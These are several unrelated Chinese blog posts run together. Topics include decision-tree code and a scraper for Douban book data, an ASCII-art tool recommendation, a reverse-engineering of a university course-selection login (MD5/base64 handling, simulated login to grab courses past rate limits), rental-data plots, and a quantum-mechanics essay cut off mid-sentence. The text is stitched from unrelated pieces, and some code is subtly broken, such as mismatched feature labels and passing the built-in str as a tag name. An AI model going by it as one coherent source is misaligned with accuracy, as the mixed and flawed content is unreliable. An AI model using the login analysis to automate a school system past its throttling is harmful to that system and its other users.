前文参考: Python爬虫(一)——豆瓣下图书信息 Python爬虫(二)——豆瓣图书决策树构建 Python爬虫(三)——对豆瓣图书各模块评论数与评分图形化分析 数据的构建 在这张表中我们可以发现这里有5个数据,这里有三个特征(评分是否超过8.0,评分是否超过9.5,评价数是否超过45,000)来划分这5本书是否选择阅读。 现在我们要做的就是是要根据第一个特征,第二个特征还是第三个特征来划分数据,进行分类。 1 def createDataSet(): 2 dataSet = [[1,1,1,'yes'], 3 [1,1,0,'yes'], 4 [1,0,1,'yes'], 5 [1,0,0,'no'], 6 [0,1,1,'no']] # 我们定义了一个list来表示我们的数据集,这里的数据对应的是上表中的数据 7 8 labels = ['no surfacing','flippers'] 9 10 return dataSet, labels 计算给定数据的信息熵 根据信息论的方法找到最合适的特征来划分数据集。在这里,我们首先要计算所有类别的所有可能值的香农熵,根据香农熵来我们按照取最大信息增益的方法划分数据集。 以信息增益度量属性选择,选择分裂后信息增益最大的属性进行分裂。信息熵是用来衡量一个随机变量出现的期望值。如果信息的不确定性越大,熵的值也就越大,出现的各种情况也就越多。 其中,S为所有事件集合,p为发生概率,c为特征总数。注意:熵是以2进制位的个数来度量编码长度的,因此熵的最大值是log2C。 信息增益(information gain)是指信息划分前后的熵的变化,也就是说由于使用这个属性分割样例而导致的期望熵降低。也就是说,信息增益就是原有信息熵与属性划分后信息熵(需要对划分后的信息熵取期望值)的差值,具体计算法如下: 代码实现: 1 from math import log 2 3 def calcShannonEnt(dataSet):#传入数据集 4 # 在这里dataSet是一个链表形式的的数据集 5 countDataSet = len(dataSet) 6 labelCounts={} # 构建字典,用键值对的关系我们表示出 我们数据集中的类别还有对应的关系 7 for featVec in dataSet: 通过for循环,我们每次取出一个数据集,如featVec=[1,1,'yes'] 8 currentLabel=featVec[-1] # 取出最后一列 也就是类别的那一类,比如说‘yes’或者是‘no’ 9 if currentLabel not in labelCounts.keys(): 10 labelCounts[currentLabel] = 0 11 labelCounts[currentLabel] += 1 12 13 print labelCounts 14 15 shang = 0.0 16 17 for key in labelCounts: 18 prob = float(labelCounts[key])/countDataSet 19 shang -= prob * log(prob,2) 20 return shang 划分数据集 在度量数据集的无序程度的时候,分类算法除了需要测量信息熵,还需要划分数据集,度量花费数据集的熵,以便判断当前是否正确的划分了数据集。 我们将对每个特征数据集划分的结果计算一次信息熵,然后判断按照那个特征划分数据集是最好的划分方式。 也就是说,我们依次选取我们数据集当中的所有特征作为我们划定的特征,然后计算选取该特征时的信息增益,当信息增益最大时我们就选取对应信息增益最大的特征作为我们分类的最佳特征。 1 dataSet = [[1, 1, 1, 'yes'], 2 [1, 1, 0, 'yes'], 3 [1, 0, 1, 'yes'], 4 [1, 0, 0, 'no'], 5 [0, 1, 1, 'no']] 在这个数据集当中有三个特征,就是每个样本的第一列,第二列和第三列,最后一列是它们所属的分类。 我们划分数据集是为了计算根据那个特征我们可以得到最大的信息增益,那么根据这个特征来划分数据就是最好的分类方法。 因此我们需要遍历每一个特征,然后计算按照这种划分方式得出的信息增益。信息增益是指数据集在划分数据前后信息的变化量。 1 def splitDataSet(dataSet,axis,value): 2 retDataSet = [] 3 4 for featVec in dataSet: 5 if featVec[axis] == value: 6 reduceFeatVec = featVec[:axis] 7 reduceFeatVec.extend(featVec[axis+1:]) 8 retDataSet.append(reduceFeatVec) 9 10 return retDataSet 计算信息增益 依次遍历每一个特征,在这里我们的特征只有三个,就是评分是否超过8.0,评分是否超过9.5,评价数是否超过45,000。然后计算出根据每一个特征划分产生的数据集的熵,和初始的数据集的熵比较,我们找出和初始数据集差距最大的。那么这个特征就是我们划分时最合适的分类特征。 1 def chooseBestFeatureToSplit(dataSet): 2 numFeatures = len(dataSet[0])-1 3 baseEntropy = calcShannonEnt(dataSet) 4 bestInfoGain =0.0 5 bestFeature = -1 6 for i in range(numFeatures): 7 featList = [sample[i] for sample in dataSet] 8 uniqueVals = set(featList) 9 newEntropy = 0.0 10 for value in uniqueVals: 11 subDataSet = splitDataSet(dataSet,i,value) 12 prob = len(subDataSet)/float(len(dataSet)) 13 newEntropy += prob * calcShannonEnt(subDataSet) 14 infoGain = baseEntropy - newEntropy 15 if(infoGain > bestInfoGain): 16 bestInfoGain = infoGain 17 bestFeature = i 18 19 return bestFeature 数据检测 sklearn实现交叉验证十折交叉验证流程 将数据集随机地切分为S个互不相交的大小相同的子集 然后挑选其中S-1个子集作为训练集,训练模型,用剩下的一个子集作测试集,获得测试误差或者评测指标 将上面过程对所有可能的S种选择重复进行,即每次都是用不同的测试集 最后对S次实验所得的数据(测试误差或者评测指标)取均值。 代码如下: 1 X = np.array(myDat) 2 y = np.array([1, 2, 3, 4, 5, 6, 7, 8, 9, 10]) 3 kf = KFold(n_splits=10) 4 5 for train_index, test_index in kf.split(X): 6 print("TRAIN:", train_index, "TEST:", test_index) 7 X_train, X_test = X[train_index], X[test_index] 8 y_train, y_test = y[train_index], y[test_index] 测试: 完整代码: 1 # -*- coding: utf-8 -*- 2 import csv 3 4 from bs4 import BeautifulSoup 5 import requests 6 import mycsv 7 import sys 8 9 reload(sys) 10 sys.setdefaultencoding('utf-8') 11 12 # 请求头设置 13 header = { 14 'Accept': '*/*;', 15 'Connection': 'keep-alive', 16 'Accept-Language': 'zh-CN,zh;q=0.9', 17 'Accept-Encoding': 'gzip, deflate, br', 18 'Host': 'book.douban.com', 19 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36' 20 } 21 22 23 # 初始化csv文件 24 def info(name): 25 csvinfo = open(name + '.mycsv', 'ab') 26 begcsv = csv.writer(csvinfo) 27 begcsv.writerow(['titles', 'authors', 'nums', 'peoples']) 28 csvinfo.close() 29 30 31 # 爬取指定name模块的url,并存储至name.csv文件 32 def web(url, name): 33 db_data = requests.get(url, headers=header) 34 soup = BeautifulSoup(db_data.text, 'lxml') 35 titles = soup.select('#subject_list > ul > li > div.info > h2 > a') 36 authors = soup.select('#subject_list > ul > li > div.info > div.pub') 37 nums = soup.select('#subject_list > ul > li > div.info > div.star.clearfix > span.rating_nums') 38 peoples = soup.select('#subject_list > ul > li > div.info > div.star.clearfix > span.pl') 39 print(titles[0]) 40 for title, author, num, people in zip(titles, authors, nums, peoples): 41 data = [ 42 ( 43 title.get('title'), 44 author.get_text().replace(' ', '').replace("\n", ""), 45 num.get_text().replace(' ', '').replace("\n", ""), 46 people.get_text().replace(' ', '').replace("\n", "") 47 ) 48 ] 49 csvfile = open(name + '.mycsv', 'ab') 50 writer = csv.writer(csvfile) 51 print(data) 52 writer.writerows(data) 53 csvfile.close() 54 55 56 # name模块标签分页 指定为前50页 57 def setCsv(name): 58 url = 'https://book.douban.com/tag/' + name 59 urls = [('https://book.douban.com/tag/' + name + '?start={}&type=T').format(str(i)) for i in range(20, 980, 20)] 60 info(name=name) 61 web(url, name) 62 for single_url in urls: 63 print(single_url) 64 web(single_url, name=name) 65 66 67 if __name__ == '__main__': 68 setCsv(str) #str为标签名 69 70 71 1 # coding=utf-8 2 import matplotlib.pyplot as plt 3 4 decisionNode = dict(boxstyle='sawtooth', fc='10') 5 leafNode = dict(boxstyle='round4',fc='0.8') 6 arrow_args = dict(arrowstyle='<-') 7 8 9 10 def plotNode(nodeTxt, centerPt, parentPt, nodeType): 11 createPlot.ax1.annotate(nodeTxt, xy=parentPt, xycoords='axes fraction',\ 12 xytext=centerPt,textcoords='axes fraction',\ 13 va='center', ha='center',bbox=nodeType,arrowprops\ 14 =arrow_args) 15 16 17 def getNumLeafs(myTree): 18 numLeafs = 0 19 firstStr = list(myTree.keys())[0] 20 secondDict = myTree[firstStr] 21 for key in secondDict: 22 if(type(secondDict[key]).__name__ == 'dict'): 23 numLeafs += getNumLeafs(secondDict[key]) 24 else: 25 numLeafs += 1 26 return numLeafs 27 28 def getTreeDepth(myTree): 29 maxDepth = 0 30 firstStr = list(myTree.keys())[0] 31 secondDict = myTree[firstStr] 32 for key in secondDict: 33 if(type(secondDict[key]).__name__ == 'dict'): 34 thisDepth = 1+getTreeDepth((secondDict[key])) 35 else: 36 thisDepth = 1 37 if thisDepth > maxDepth: maxDepth = thisDepth 38 return maxDepth 39 40 def retrieveTree(i): 41 #预先设置树的信息 42 listOfTree = [{'no surfacing':{0:'no',1:{'flipper':{0:'no',1:'yes'}}}}, 43 {'no surfacing':{0:'no',1:{'flipper':{0:{'head':{0:'no',1:'yes'}},1:'no'}}}}, 44 {'Comment score greater than 8.0':{0:{'Comment score greater than 9.5':{0:'Yes',1:{'More than 45,000 people commented': { 45 0: 'Yes',1: 'No'}}}},1:'No'}}] 46 return listOfTree[i] 47 48 def createPlot(inTree): 49 fig = plt.figure(1,facecolor='white') 50 fig.clf() 51 axprops = dict(xticks = [], yticks=[]) 52 createPlot.ax1 = plt.subplot(111,frameon = False,**axprops) 53 plotTree.totalW = float(getNumLeafs(inTree)) 54 plotTree.totalD = float(getTreeDepth(inTree)) 55 plotTree.xOff = -0.5/plotTree.totalW;plotTree.yOff = 1.0 56 plotTree(inTree,(0.5,1.0), '') 57 plt.title('Douban reading Decision Tree\n') 58 plt.show() 59 60 def plotMidText(cntrPt, parentPt,txtString): 61 xMid = (parentPt[0]-cntrPt[0])/2.0 + cntrPt[0] 62 yMid = (parentPt[1] - cntrPt[1])/2.0 + cntrPt[1] 63 createPlot.ax1.text(xMid, yMid, txtString) 64 65 def plotTree(myTree, parentPt, nodeTxt): 66 numLeafs = getNumLeafs(myTree) 67 depth = getTreeDepth(myTree) 68 firstStr = list(myTree.keys())[0] 69 cntrPt = (plotTree.xOff+(1.0+float(numLeafs))/2.0/plotTree.totalW,\ 70 plotTree.yOff) 71 plotMidText(cntrPt,parentPt,nodeTxt) 72 plotNode(firstStr,cntrPt,parentPt,decisionNode) 73 secondDict = myTree[firstStr] 74 plotTree.yOff = plotTree.yOff - 1.0/plotTree.totalD 75 for key in secondDict: 76 if type(secondDict[key]).__name__ == 'dict': 77 plotTree(secondDict[key],cntrPt,str(key)) 78 else: 79 plotTree.xOff = plotTree.xOff + 1.0/plotTree.totalW 80 plotNode(secondDict[key],(plotTree.xOff,plotTree.yOff),\ 81 cntrPt,leafNode) 82 plotMidText((plotTree.xOff,plotTree.yOff),cntrPt,str(key)) 83 plotTree.yOff = plotTree.yOff + 1.0/plotTree.totalD 84 85 if __name__ == '__main__': 86 myTree = retrieveTree(2) 87 createPlot(myTree) 1 # coding=utf-8 2 import random 3 from math import log 4 from sklearn.model_selection import KFold 5 import numpy as np 6 7 def splitDataSet(dataSet,axis,value): 8 retDataSet = [] 9 10 for featVec in dataSet: 11 if featVec[axis] == value: 12 reduceFeatVec = featVec[:axis] 13 reduceFeatVec.extend(featVec[axis+1:]) 14 retDataSet.append(reduceFeatVec) 15 16 return retDataSet 17 18 19 def createDataSet(): 20 dataSet = [[1, 1, 1, 'yes'], 21 [1, 1, 0, 'yes'], 22 [1, 0, 1, 'yes'], 23 [1, 0, 0, 'no'], 24 [0, 1, 1, 'no'], 25 [0, 0, 0, 'no'], 26 [0, 0, 1, 'no'], 27 [0, 1, 0, 'no'], 28 [0, 0, 0, 'no'], 29 [0, 1, 1, 'no'] 30 31 ] 32 33 labels = ['no surfacing','flippers'] 34 35 return dataSet, labels 36 37 38 def calcShannonEnt(dataSet): 39 countDataSet = len(dataSet) 40 labelCounts={} 41 for featVec in dataSet: 42 currentLabel=featVec[-1] 43 if currentLabel not in labelCounts.keys(): 44 labelCounts[currentLabel] = 0 45 labelCounts[currentLabel] += 1 46 shang = 0.0 47 48 for key in labelCounts: 49 prob = float(labelCounts[key])/countDataSet 50 shang -= prob * log(prob,2) 51 52 53 return shang 54 55 56 def chooseBestFeatureToSplit(dataSet): 57 numFeatures = len(dataSet[0])-1 58 baseEntropy = calcShannonEnt(dataSet) 59 bestInfoGain =0.0 60 bestFeature = -1 61 62 for i in range(numFeatures): 63 featList = [sample[i] for sample in dataSet] 64 uniqueVals = set(featList) 65 newEntropy = 0.0 66 for value in uniqueVals: 67 subDataSet = splitDataSet(dataSet,i,value) 68 prob = len(subDataSet)/float(len(dataSet)) 69 newEntropy += prob * calcShannonEnt(subDataSet) 70 71 infoGain = baseEntropy - newEntropy 72 73 if(infoGain > bestInfoGain): 74 bestInfoGain = infoGain 75 bestFeature = i 76 77 return bestFeature 78 79 80 def SplitData(dataSet, k, seed): 81 testSet = [] 82 trainSet = [] 83 random.seed(seed) 84 for user, item in dataSet: 85 if random.randint(0,10) == k: 86 testSet.append([user,item]) 87 else: 88 trainSet.append([user,item]) 89 return testSet, trainSet 90 91 92 if __name__ == '__main__': 93 myDat,label = createDataSet() 94 X = np.array(myDat) 95 y = np.array([1, 2, 3, 4, 5, 6, 7, 8, 9, 10]) 96 kf = KFold(n_splits=10) 97 98 for train_index, test_index in kf.split(X): 99 print("TRAIN:", train_index, "TEST:", test_index) 100 X_train, X_test = X[train_index], X[test_index] 101 y_train, y_test = y[train_index], y[test_index] 102 print(calcShannonEnt(X[train_index]))
为了敲这幅画 我敲费了两个键盘 emmmm因为动画像素不高,所以转换后的字符密集度也不高,但是不代表转换不了 至于可以多清晰 可能dei看你有多宅了 (不但可以做图片,还可以做成视频) emmmmmm源码在这里 是不是感觉很麻烦还要解析图片 我就比较厉害了,我直接用现成工具 一个名叫效率的工具 http://nullice.com/Gasoft/Siphonink/ Siphonink有超过 100 项功能,从批量替换到文本分割再到把视频转换成字符动画,Siphonink能做的超过你的想象 虽然很强大,但底层还是要依赖于.NET2~4框架。 字符图片生成还需要先寻找其他工具 如果是想使用多标签功能可以试试WindowTabs 有种眼前一亮的感觉。
你的账号访问太频繁,请一分钟之后再试! 从大一开始 就用脚本在刷课 在专业课踢的只剩下一门C#的情况下 活活刷到一周的课 大二开始教务系统多了一个非常**的操作 退课池 and 访问频繁缓冲 难道,我大三下还要去学政治课咩? 虽然学政治不如敲代码 但我想毕业啊 emmmmmm 在量子力学的角度,没有抢上毛概的我只是我本体的一个属性,和我本身没有多大关系,我还是快乐敲代码吧。 0.教务系统后台登录流程 先来看一下后台账号密码在发送给服务器之前做了什么处理 这是文中的JS代码 1 j$(document).ready(function(evt){ 2 // 初始化验证码 3 refreshImg(); 4 // 判断操作系统是32位或64位,设置兼容性文件的下载 5 var cpu = getCPU(); 6 if (cpu != "x64"){ 7 j$("#setjw").attr("href","../custom/lodop/setjw32.zip"); 8 } else { 9 j$("#setjw").attr("href","../custom/lodop/setjw.zip"); 10 } 11 // Enter键转TAB 12 kutil.enter2tab("LoginForm"); 13 // 定位焦点 14 j$("#yhmc").focus(); 15 }) 16 17 function doLogon() { 18 19 // 输入信息验证 20 if (!validate()) { 21 return false; 22 } 23 24 // 验证码正确性验证 25 var username = j$("#yhmc").val(); 26 var password = j$("#yhmm").val(); 27 var randnumber = j$("#randnumber").val(); 28 var passwordPolicy = kutil.isPasswordPolicy(username, password); 29 var url = _webRootPath + "cas/logon.action"; 30 password = hex_md5(hex_md5(password)+hex_md5(randnumber.toLowerCase())); 31 /** 32 var params = { 33 "yhmc" : username, 34 "yhmm" : password, 35 "randnumber": randnumber, 36 "isPasswordPolicy" : passwordPolicy 37 }; 38 */ 39 var p_username = "_u"+randnumber; 40 var p_password = "_p"+randnumber; 41 username = base64encode(username+";;"+_sessionid); 42 var params = p_username+"="+username+"&"+p_password+"="+password+"&randnumber="+randnumber+"&isPasswordPolicy="+passwordPolicy ; 43 //alert("params="+params); 44 //params = getEncParams(params); 45 //alert("encparams="+params); 46 doPreLogon(); 47 kutil.doAjax(url, params, doPostLogon); 48 49 function doPreLogon(){ 50 j$("#msg").html("正在登录......"); 51 j$("#login").attr("disabled", true); 52 j$("#reset").attr("disabled", true); 53 } 54 55 function doPostLogon(response) { 56 var data = JSON.parse(response); 57 var status = data.status ; 58 var message = data.message ; 59 if ("200" == status) { 60 var result = data.result ; 61 window.document.location.href = result ; 62 } else { 63 reloadScript("kingo_encypt",_webRootPath+"custom/js/SetKingoEncypt.jsp"); 64 if("407" == status){ 65 alert(message); 66 showMessage(""); 67 }else{ 68 showMessage(message); 69 } 70 j$("#login").attr("disabled", false); 71 j$("#reset").attr("disabled", false); 72 refreshImg(); 73 if ("401"==status) { 74 j$("#randnumber").val(""); 75 j$("#randnumber").focus(); 76 } else { 77 j$("#yhmc").val(""); 78 j$("#yhmm").val(""); 79 j$("#randnumber").val(""); 80 j$("#yhmc").focus(); 81 } 82 } 83 } 84 } 85 86 function validate() { 87 var username = j$("#yhmc").val(); 88 var password = j$("#yhmm").val(); 89 var randnumber = j$("#randnumber").val(); 90 if (kutil.isNull(username)) { 91 showMessage("请输入用户名!"); 92 j$("#yhmc").focus(); 93 return false; 94 } 95 if (kutil.isNull(password)) { 96 showMessage("请输入密码!"); 97 j$("#yhmm").focus(); 98 return false; 99 } 100 if (kutil.isNull(randnumber)) { 101 showMessage("请输入验证码!"); 102 j$("#randnumber").focus(); 103 return false; 104 } 105 return true; 106 } 107 108 // 重置密码为账号(找回密码) 109 function doReset() { 110 var tourl = _webRootPath + "frame/retrievePassword.jsp" ; 111 window.document.location.href = tourl ; 112 } 113 114 /** 115 * 刷新验证码 116 */ 117 function refreshImg(){ 118 var url = _webRootPath + "cas/genValidateCode?dateTime="+(new Date()); 119 document.getElementById("randpic").src = url ; 120 } 121 122 function showMessage(message){ 123 $("msg").innerHTML = message; 124 setTimeout("$('msg').innerHTML='';",15000); 125 } 126 127 function gologin(e , obj){ 128 var e = window.event?window.event:e; 129 var x=e.keyCode; 130 if(x!=13) return false; 131 if(x<48||x>57) e.returnValue=false; 132 obj.select(); 133 $("login").onclick(); 134 } 135 136 function getCPU() 137 { 138 var agent=navigator.userAgent.toLowerCase(); 139 if(agent.indexOf("win64")>=0 || agent.indexOf("wow64")>=0) return "x64"; 140 return navigator.cpuClass; 141 } 142 View Code 来分析一下每一步 1 // 验证码正确性验证 2 var username = j$("#yhmc").val(); 3 var password = j$("#yhmm").val(); 4 var randnumber = j$("#randnumber").val(); 5 var passwordPolicy = kutil.isPasswordPolicy(username, password); 6 var url = _webRootPath + "cas/logon.action"; 7 password = hex_md5(hex_md5(password)+hex_md5(randnumber.toLowerCase())); 这里拿到username,password,randnumber之后是通过kutil.isPasswordPolicy(username,password)来检验规范 passwordPolicy也是表单参数,一般情况为 1 即可。 var url = _webRootPath + "cas/logon.action"; url是表单提交处。 password = hex_md5(hex_md5(password)+hex_md5(randnumber.toLowerCase())); 可见密码在输入后会经过一次md5加密,然后将验证码进行一次md加密,拼接到一起之后再进行一次md5加密。 再来看下一部分。 1 var p_username = "_u"+randnumber; 2 var p_password = "_p"+randnumber; 3 username = base64encode(username+";;"+_sessionid); 4 var params = p_username+"="+username+"&"+p_password+"="+password+"&randnumber="+randnumber+"&isPasswordPolicy="+passwordPolicy ; 可以发现输入的学号(用户名)在加入表单之前会把username和sessionid字段用base64进行加密 sessionid从cookie中拿到 那么整个params结构就很清楚了。 注意在表单中键是'_p','_u'和验证码拼接的。 1.点击登录之后的表单分析 这是一份学号验证码输入正确,密码输入错误的栗子 这个是成功登录的例子 整个流程已经很明显了 emmmmm至于登录失败的Response,就是下面这个 2.使用Java进行模拟登录 可能在这之前,你会很好奇验证码怎么拿到 的确,验证码与时间有关 至于怎么拿 你可以在模拟登录之前先用最简单的爬虫知识去request登录页 下面详细来讲模拟登录的流程。 1.如何拿到jsessionid 2.表单的设置 这些就是模拟登录的核心代码了 去年写的代码 注释也是...话说...
决策树框架: 1 # coding=utf-8 2 import matplotlib.pyplot as plt 3 4 decisionNode = dict(boxstyle='sawtooth', fc='10') 5 leafNode = dict(boxstyle='round4', fc='0.8') 6 arrow_args = dict(arrowstyle='<-') 7 8 9 def plotNode(nodeTxt, centerPt, parentPt, nodeType): 10 createPlot.ax1.annotate(nodeTxt, xy=parentPt, xycoords='axes fraction', \ 11 xytext=centerPt, textcoords='axes fraction', \ 12 va='center', ha='center', bbox=nodeType, arrowprops \ 13 =arrow_args) 14 15 16 def getNumLeafs(myTree): 17 numLeafs = 0 18 firstStr = list(myTree.keys())[0] 19 secondDict = myTree[firstStr] 20 for key in secondDict: 21 if (type(secondDict[key]).__name__ == 'dict'): 22 numLeafs += getNumLeafs(secondDict[key]) 23 else: 24 numLeafs += 1 25 return numLeafs 26 27 28 def getTreeDepth(myTree): 29 maxDepth = 0 30 firstStr = list(myTree.keys())[0] 31 secondDict = myTree[firstStr] 32 for key in secondDict: 33 if (type(secondDict[key]).__name__ == 'dict'): 34 thisDepth = 1 + getTreeDepth((secondDict[key])) 35 else: 36 thisDepth = 1 37 if thisDepth > maxDepth: maxDepth = thisDepth 38 return maxDepth 39 40 41 def retrieveTree(i): 42 # 预先设置树的信息 43 listOfTree = [] 44 return listOfTree[i] 45 46 47 def createPlot(inTree): 48 fig = plt.figure(1, facecolor='white') 49 fig.clf() 50 axprops = dict(xticks=[], yticks=[]) 51 createPlot.ax1 = plt.subplot(111, frameon=False, **axprops) 52 plotTree.totalW = float(getNumLeafs(inTree)) 53 plotTree.totalD = float(getTreeDepth(inTree)) 54 plotTree.xOff = -0.5 / plotTree.totalW; 55 plotTree.yOff = 1.0 56 plotTree(inTree, (0.5, 1.0), '') 57 plt.title('kaifeng.58.com\n') 58 plt.show() 59 60 61 def plotMidText(cntrPt, parentPt, txtString): 62 xMid = (parentPt[0] - cntrPt[0]) / 2.0 + cntrPt[0] 63 yMid = (parentPt[1] - cntrPt[1]) / 2.0 + cntrPt[1] 64 createPlot.ax1.text(xMid, yMid, txtString) 65 66 67 def plotTree(myTree, parentPt, nodeTxt): 68 numLeafs = getNumLeafs(myTree) 69 depth = getTreeDepth(myTree) 70 firstStr = list(myTree.keys())[0] 71 cntrPt = (plotTree.xOff + (1.0 + float(numLeafs)) / 2.0 / plotTree.totalW, \ 72 plotTree.yOff) 73 plotMidText(cntrPt, parentPt, nodeTxt) 74 plotNode(firstStr, cntrPt, parentPt, decisionNode) 75 secondDict = myTree[firstStr] 76 plotTree.yOff = plotTree.yOff - 1.0 / plotTree.totalD 77 for key in secondDict: 78 if type(secondDict[key]).__name__ == 'dict': 79 plotTree(secondDict[key], cntrPt, str(key)) 80 else: 81 plotTree.xOff = plotTree.xOff + 1.0 / plotTree.totalW 82 plotNode(secondDict[key], (plotTree.xOff, plotTree.yOff), \ 83 cntrPt, leafNode) 84 plotMidText((plotTree.xOff, plotTree.yOff), cntrPt, str(key)) 85 plotTree.yOff = plotTree.yOff + 1.0 / plotTree.totalD 86 87 88 if __name__ == '__main__': 89 myTree = retrieveTree(2) 90 createPlot(myTree) 构造信息: 1 [{'no surfacing': {0: 'no', 1: {'flipper': {0: 'no', 1: 'yes'}}}}, 2 {'no surfacing': {0: 'no', 1: {'flipper': {0: {'head': {0: 'no', 1: 'yes'}}, 1: 'no'}}}}, 3 {'House prices <= 2000': { 4 1: {'Room size >= 50': {1: 'Yes', 0: 'No'}}, 0: 'No'}}] 结果:
出租房面积(area) 出租房价格(price) 对比信息 代码 1 import matplotlib as mpl 2 import matplotlib.pyplot as plt 3 import pandas as pad 4 import seaborn as sns 5 import numpy as np 6 7 sns.set_style('dark') 8 kf = pad.read_csv('kf.csv') 9 10 def sinplotone(): 11 fig,ax = plt.subplots() 12 ax.violinplot(kf['price']) 13 plt.show() 14 15 def sinplottwo(): 16 sns.set_style('whitegrid') 17 sns.boxplot(kf['price'],palette='deep') 18 # sns.despine(left=True) 19 plt.show() 20 21 def sinplotthree(): 22 sns.distplot(kf['price']) 23 plt.show() 24 25 def s(): 26 df = pad.DataFrame(kf['area'],kf['price']) 27 sns.jointplot(x='x',y='y',data=df) 28 plt.show() 29 30 if __name__ == '__main__': 31 fig,ax = plt.subplots() 32 ax.scatter(kf['area'],kf['price'],12) 33 plt.show()
看到这个了么? ——58同城反爬虫验证 你以为是概率,其实你是不知道另一个你的存在。 今天咱们说个比较刺激的话题:量子力学。 量子力学是一个特别反常识的学问,但并非完全不可理解。 只要你稍微理解一点量子力学,就会拍案叫绝。 如果你理解的足够多,就可能陷进去。 如果你理解的再多一点,搞不好就想把青春献给物理学。 (计算机也是) 最新一期《纽约书评》上,有篇温伯格(Steven Weinberg)的文章,《量子力学的困境》(The Trouble with Quantum Mechanics)。 温伯格,咱们以前说过,日课有篇文章叫《科学家对诗人的有失恭敬》,讲过一本他的新书《给世界的答案》。温伯格是目前活着的物理学家里面的泰斗级人物。 温伯格讲了一个困扰物理学家已久的问题。这个问题实在太过重大,可以说足以影响每个人的世界观。理解这个问题不需要什么高深概念,就让我来给你解说一番。 咱们先从一个最基本的问题出发:到底什么叫“不确定性”? 常识中的“不确定性” 现代人经常会谈论“不确定性”、“概率”这些东西,但是你是否想过,这个世界真的是不确定的吗? 你往空中抛一个苹果,如果我精确知道苹果的初始速度、空气的阻力、引力的强度,我就可以精确计算苹果的轨道,告诉你它会在什么时候、在哪里落地。完全都是确定的。 可是如果你抛的是一个硬币,问我硬币落地的时候哪一面朝上,我就只能说一个概率了。这并不是因为硬币和苹果有什么本质的不同,而是因为影响硬币落地的因素实在太多了 — 初始速度、角度、旋转度、地面的平整情况、空气中气流的变化等等。 我对这些因素的了解和我的计算能力都是有限的,我就没有办法精确预测。 但是你考察那些左右硬币运动的物理方程,它们都是确定性的。也就是说,如果有人能够精确了解所有的因素,他在原则上就能精确预测硬币的运动轨迹! 硬币事件,本质上仍然是确定性的事件。 在量子力学出现之前,物理学就是这样的局面。所有物理方程都是确定的,那么如果你精确知道宇宙中每一个粒子的初始条件,你在原则上就完全可以预测整个宇宙后续的演化,一切都是确定的 — 这就是所谓“机械宇宙”。 今天我们说的天气、股市、地震这些所谓“不确定事件”,在机械宇宙里也都有,我们说不确定只不过是因为我们的计算能力有限。机械宇宙里没有真正的不确定事件,一切都已经注定了。 这个世界观有点令人沮丧 — 我们的大脑也受物理定律支配,所以你未来想什么,也是注定了的 — 但这是一个和谐自洽的世界观。 这就是为什么量子力学一出来,物理学家就懵了。 既在这里,又在那里 下面这个实验叫“双缝实验”。把一束光从两个缝隙中传过去,两个缝隙的光束就会形成干涉,在后面的屏幕上形成干涉条纹。 这是因为光是有波动性的,就像水波一样,如下图 可是量子力学一出来,我们知道,光同时也是粒子 — 也就是“光子”。物理学家原则上可以把光子 — 或者电子、或者别的什么粒子 — 一个一个地发射到那块有双缝的隔板上去。 你猜会发生什么? 即使你每次只发射一个光子,后面屏幕上也会出现干涉条纹图案!这非常奇怪,因为干涉条纹,是两个缝隙之中同时发出的光互相干涉的产物。现在你每次只打一个光子,它跟谁干涉呢? 答案是这个光子自己和自己干涉 — 也就是说,这一个光子,同时通过了两个缝隙!用电子或者别的粒子做这个实验,结果也是如此。 这就是量子力学。一个粒子,可以“既走了左边的缝,又走了右边的缝” — “既在这里,又在那里”! 再举个例子。物理学有个概念叫“自旋”,你大概可以理解成一个粒子的自转。 任意选定一个方向,比如说北方,那么对一个电子来说,它有两种自旋 — 对着北方,如果这个旋转是顺时针的话,我们就说它自旋是正,如果是逆时针的话,我们就说他的自旋是负。 你不用关心自旋的精确定义是什么,只要知道电子在任意方向都有正、负两种可能的自旋。 好了。现在假设这里有一个电子,在我观测它之前,你问我一个问题:这个电子的自旋是正的还是负的? 如果咱们说的是一个台球,我的答案就应该是它“或者是正的,或者是负的”。可是对电子来说,我的答案就必须是它“既是正的,又是负的”。 这就和前面双缝实验中,“既走了左边的缝,又走了右边的缝”,是一样的道理。 一个没有被观测的电子,其实是两种自旋状态的“叠加”,这就是“量子叠加态”。物理学家用“波函数”描写这个叠加态。 这个“既是……又是……”的概念可能已经让你震惊了。这其实是个观念问题。日常生活中一个人不可能同时从左右两个门中穿过,还自己撞到了自己,但那只是我们的日常经验。微观世界的情况跟宏观世界非常不同,只要你能接受这个观念,就不至于睡不好觉。 基本粒子不是台球。只要你不观测它,它就可以“即是这样,又是那样”。 让物理学家至今都睡不好觉的,是“观测”。 真正的“不确定性” 回到双缝实验。假设我就是想知道光子到底是从哪个缝中穿过去的,于是我就在其中一个缝的外面安装了探测器,只要光子一过,我就知道。 结果我发现干涉条纹消失了!屏幕上的图案跟你用台球打出来的一样: 一观测,光子就从“既走了左边的缝,又走了右边的缝”变成了“或者走了左边的缝,或者走了右边的缝”! 也就是说观测会破坏量子叠加态。用物理学家的话说,这叫“波函数塌缩”。 同样道理,如果你“观测”一个电子在某个方向上的自旋,你得到的结果就“或者是正的,或者是负的”。 而你具体会得到“正”还是“负”的哪个结果,这就是一个真正的“不确定性”事件! 没有任何办法能事先预测你的观测结果。电子的波函数到底往正、负哪个结果塌缩,不受任何外界因素影响 — 你可以说那是电子的“自由意志”。 物理学家可以用电子的波函数精确预测你获得每个结果的概率大小是多少,但是面对一次单独的观测,从理论上讲就没有任何办法可以预测结果。 正因为量子力学有这个性质,我们才真正生活在一个不确定的世界。机械宇宙观过时了,万事万物不是注定的,天神来了也无法预测未来。 好了,现在温伯格的问题就是,描写波函数演化的方程是“薛定谔方程”,而薛定谔方程其实是一个确定性的方程,里面根本没有概率 — 那么观测结果的这个“本质的不确定性”,是从哪里来的呢? 人的意识和多重宇宙 只有到观测的时候,才出现不确定性。物理学家对此细思恐极 — 只有当有人参与的时候,才出现不确定性! 温伯格总结了目前的两种看法,一种叫工具主义者(instrumentalist),一种叫真实主义者(realist)。 工具主义者认为,量子力学方程只是一个工具,它能帮你计算观测结果的概率是多少,这就足够了。 我们根本不应该把量子力学当成对真实世界的解释,量子力学只管到波函数塌缩之前,波函数到底怎么塌缩,不受量子力学控制。 这就等于说,人,不受量子力学控制。想要解释实验结果,光有薛定谔方程还不够,必须把人的意识也加进来才行。有个量子物理学的先驱人物叫尤金·维格纳(Eugene 